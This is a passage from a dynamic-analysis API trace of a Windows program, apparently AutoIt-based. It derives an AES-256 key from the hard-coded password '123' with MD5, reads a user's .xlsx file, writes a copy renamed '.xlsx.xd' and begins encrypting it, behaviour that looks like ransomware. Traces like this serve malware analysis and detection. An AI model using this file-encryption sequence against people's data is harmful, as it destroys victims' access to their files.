returned 0x0 [0071.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.415] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.415] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa890) returned 1 [0071.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.419] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.419] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.419] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.419] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.420] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.420] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.420] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.420] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.420] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.420] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.421] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.424] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.424] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.424] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.424] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.424] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.425] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.425] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.425] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.425] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.425] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.425] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621360, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.426] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.426] CryptCreateHash (in: hProv=0x17aa890, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.426] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.426] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.426] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629440, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.427] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.427] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.427] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.427] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.427] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.428] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.428] CryptHashData (hHash=0x164c630, pbData=0x16294a0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.428] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.428] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.428] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.428] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.428] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.428] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.428] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.429] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.429] CryptDeriveKey (in: hProv=0x17aa890, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6b0) returned 1 [0071.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.429] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.429] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.429] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.429] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.429] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.430] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.430] CryptDestroyHash (hHash=0x164c630) returned 1 [0071.430] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.430] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.430] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.430] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.430] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.430] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rssyjqioh6d1x8xbwv1x.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.430] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.431] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.431] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.431] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.431] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.431] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.431] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rssyjqioh6d1x8xbwv1x.xlsx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.432] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.432] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.432] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.432] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.434] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.434] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xfa4e, lpOverlapped=0x0) returned 1 [0071.437] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0071.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.445] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.445] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0071.445] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.445] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.446] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0071.446] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.446] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0071.446] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.446] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.446] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.446] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0071.446] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0071.447] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0071.447] CryptGetKeyParam (in: hKey=0x164c6b0, dwParam=0x7, pbData=0x1629460, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629460*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0071.447] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.447] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0071.447] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.448] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.448] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.448] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.448] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.448] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.448] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.448] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.448] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.448] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.449] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.449] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.449] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.449] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.449] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.450] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 